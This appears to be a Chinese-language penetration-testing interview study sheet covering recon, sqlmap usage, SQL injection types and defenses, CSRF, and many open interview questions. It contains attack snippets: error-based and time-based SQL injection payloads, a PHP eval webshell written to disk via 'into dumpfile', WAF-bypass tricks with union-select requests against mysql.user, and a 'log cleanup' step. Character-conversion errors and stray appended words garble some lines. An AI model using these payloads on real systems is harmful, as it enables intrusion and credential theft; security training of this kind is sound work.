滲透測試面試基礎--02

給你一個網站你是如何來滲透測試的?
在獲取書面受權的前提下。
1)信息收集,
1,獲取域名的whois信息,獲取註冊者郵箱姓名電話等。
2,查詢服務器旁站以及子域名站點,由於主站通常比較難,因此先看看旁站有沒有通用性的cms或者其餘漏洞。
3,查看服務器操做系統版本,web中間件,看看是否存在已知的漏洞,好比IIS,APACHE,NGINX的解析漏洞
4,查看IP,進行IP地址端口掃描,對響應的端口進行漏洞探測,好比 rsync,心臟出血,mysql,ftp,ssh弱口令等。
5,掃描網站目錄結構,看看是否能夠遍歷目錄,或者敏感文件泄漏,好比php探針
6,google hack 進一步探測網站的信息,後臺,敏感文件
2)漏洞掃描
開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含,
遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其餘權限
4)權限提高
提權服務器,好比windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低權限提權
5) 日誌清理
6)總結報告及修復方案
sqlmap,怎麼對一個注入點注入?
1)若是是get型號,直接,sqlmap -u "諸如點網址".
2) 若是是post型諸如點,能夠sqlmap -u "注入點網址」 --data="post的參數"
3)若是是cookie,X-Forwarded-For等,能夠訪問的時候,用burpsuite抓包,注入處用號替換,放到文件裏,而後sqlmap -r "文件地址"
nmap,掃描的幾種方式
sql注入的幾種類型?
1)報錯注入
2)bool型注入
3)延時注入
4)寬字節注入
報錯注入的函數有哪些?
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)經過floor報錯 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));

5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));

延時注入如何來判斷?
if(ascii(substr(「hello」, 1, 1))=104, sleep(5), 1)
盲注和延時注入的共同點?
都是一個字符一個字符的判斷
如何拿一個網站的webshell?
上傳,後臺編輯模板,sql注入寫文件,命令執行,代碼執行,
一些已經爆出的cms漏洞,好比dedecms後臺能夠直接創建腳本文件,wordpress上傳插件包含腳本文件zip壓縮包等
sql注入寫文件都有哪些函數?
select '一句話' into outfile '路徑'
select '一句話' into dumpfile '路徑'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
如何防止CSRF?
1,驗證referer
2,驗證token
owasp 漏洞都有哪些?
一、SQL注入防禦方法:
二、失效的身份認證和會話管理
三、跨站腳本攻擊XSS
四、直接引用不安全的對象
五、安全配置錯誤
六、敏感信息泄露
七、缺乏功能級的訪問控制
八、跨站請求僞造CSRF
九、使用含有已知漏洞的組件
十、未驗證的重定向和轉發
SQL注入防禦方法?
一、使用安全的API
二、對輸入的特殊字符進行Escape轉義處理
三、使用白名單來規範化輸入驗證方法
四、對客戶端輸入進行控制,不容許輸入SQL注入相關的特殊字符
五、服務器端在提交數據庫進行SQL查詢以前,對特殊字符進行過濾、轉義、替換、刪除。
代碼執行,文件讀取,命令執行的函數都有哪些?
1,代碼執行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img標籤除了onerror屬性外,還有其餘獲取管理員路徑的辦法嗎?
src指定一個遠程的腳本文件,獲取referer
img標籤除了onerror屬性外,而且src屬性的後綴名,必須以.jpg結尾,怎麼獲取管理員路徑。php

 

代碼審計
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_functionhtml

文件讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等java

命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()mysql

繞過walflinux

一、關鍵字能夠用%(只限IIS系列)。好比select,能夠sel%e%ct。原理:網絡層waf對SEL%E%CT進行url解碼後變成SEL%E%CT,匹配select失敗,而進入asp.dll對SEL%E%CT進行url解碼卻變成select。IIS下的asp.dll文件在對asp文件後參數串進行url解碼時,會直接過濾掉09-0d(09是tab鍵,0d是回車)、20(空格)、%(後兩個字符有一個不是十六進制)字符。xss也是同理。web

二、通殺的,內聯註釋。安全狗不攔截,可是安全寶、加速樂、D盾等,看到/!/就Fack了,因此只限於安全狗。好比:/!select*/面試

三、編碼。這個方法對waf頗有效果,由於通常waf會解碼,可是咱們利用這個特色,進行兩次編碼,他解了第一次但不會解第二次,就bypass了。騰訊waf、百度waf等等均可以這樣bypass的。sql

4,繞過策略一:僞造搜索引擎chrome

早些版本的安全狗是有這個漏洞的,就是把User-Agent修改成搜索引擎shell

5,360webscan腳本存在這個問題,就是判斷是否爲admin dede install等目錄,若是是則不作攔截

GET /pen/news.php?id=1 union select user,password from mysql.user

GET /pen/news.php/admin?id=1 union select user,password from mysql.user

  1. GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user

6,multipart請求繞過,在POST請求中添加一個上傳文件,繞過了絕大多數WAF。

7,參數繞過,複製參數,id=1&id=1

用一些特殊字符代替空格,好比在mysql中%0a是換行,能夠代替空格,這個方法也能夠部分繞過最新版本的安全狗,在sqlserver中能夠用/**/代替空格

8,內聯註釋,

文件上傳,複製文件包一份再加一份

在 form-data;後面增長必定的字符
寬字符注入

寬字符:解 決方法:就是在初始化鏈接和字符集以後,使用SET character_set_client=binary來設定客戶端的字符集是二進制的。修改Windows下的MySQL配置文件通常是 my.ini,Linux下的MySQL配置文件通常是my.cnf,好比:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL語句的編碼,若是設置爲 binary,MySQL就以二進制來執行,這樣寬字節編碼問題就沒有用武之地了。

 

 

Domain

解釋一下同源策略

同源策略,那些東西是同源能夠獲取到的

若是子域名和頂級域名不一樣源,在哪裏能夠設置叫他們同源

如何設置能夠跨域請求數據?jsonp是作什麼的?

Ajax

Ajax是否遵循同源策略?

json注入如何利用

瀏覽器策略

不一樣瀏覽器之間,安全策略有哪些不一樣,好比chrome,firefox,IE

CSP是什麼?如何設置CSP?

SQLi

如何判斷sql注入,有哪些方法

爲何有的時候沒有錯誤回顯,用php舉例

寬字符注入的原理?如何利用寬字符注入漏洞,payload如何構造?

你都瞭解哪些sql 的bypass技巧

CRLF注入的原理

XSS

xss的發生場景?

若是給你一個XSS漏洞,你還須要哪些條件能夠構造一個蠕蟲?

在社交類的網站中,哪些地方可能會出現蠕蟲?

若是叫你來防護蠕蟲,你有哪些方法?

若是給你一個XSS盲打漏洞,可是返回來的信息顯示,他的後臺是在內網,而且只能使用內網訪問,那麼你怎麼利用這個XSS?

PHP

php裏面有哪些方法能夠不讓錯誤回顯?

php.ini能夠設置哪些安全特性

php的%00截斷的原理是什麼?

webshell檢測,有哪些方法

php的LFI,本地包含漏洞原理是什麼?寫一段帶有漏洞的代碼。手工的話如何發掘?若是無報錯回顯,你是怎麼遍歷文件的?

CSRF

CSRF漏洞的本質是什麼?

防護CSRF都有哪些方法,JAVA是如何防護CSRF漏洞的,token必定有用麼?

HTML5

說說HTML5有哪些新的安全特性

HTML5白名單要有哪些標籤

java

你都瞭解哪些java框架?

java的MVC結構都是作什麼的,數據流向數據庫的順序是什麼?

瞭解java沙箱嗎?

ibats的參數化查詢能不能有效的控制sql注入?有沒有危險的方法能夠形成sql注入?

說說兩次struts2漏洞的原理

ongl在這個payload中起了什麼做用?

\u0023是什麼字符的16進制編碼?爲何在payload中要用他?

java會不會發生執行系統命令的漏洞?java都有哪些語句,方法能夠執行系統命令

若是叫你修復一個xss漏洞,你會在java程序的那個層裏面進行修復?

xss filter在java程序的哪裏設置?

說下java的類反射在安全上可能存在哪些問題

中間件

tomcat要作哪些安全加固?

若是tomcat重啓的話,webapps下,你刪除的後臺會不會又回來?

數據庫

mysql數據庫默認有哪些庫?說出庫的名字

mysql的用戶名密碼是存放在那張表裏面?mysql密碼採用哪一種加密方式?

mysql表權限裏面,除了增刪改查,文件讀寫,還有哪些權限?

mysql安全要如何作?

sqlserver public權限要如何提權

Linux

簡述Linux系統安全加固須要作哪些方面

你使用什麼工具來判斷系統是否存在後門

Linux的Selinux是什麼?如何設置Selinux?

iptables工做在TCPIP模型中的哪層?

若是沒法升級內核,那麼如何保證系統不被已知的exp提權?

syslog裏面都有哪些日誌?安裝軟件的日誌去哪找?

如何查詢ssh的登陸日誌?如何配置syslog的日誌格式?

syslog可不可使用vi等工具直接查看?是二進制文件嗎?

信息採集

踩點都要採集哪些信息?

DNS在滲透中的做用

根據回憶總結的,有的問題可能描述的有些問題。安全的體系很大哦,冰山一角而已。

相關文章
相關標籤/搜索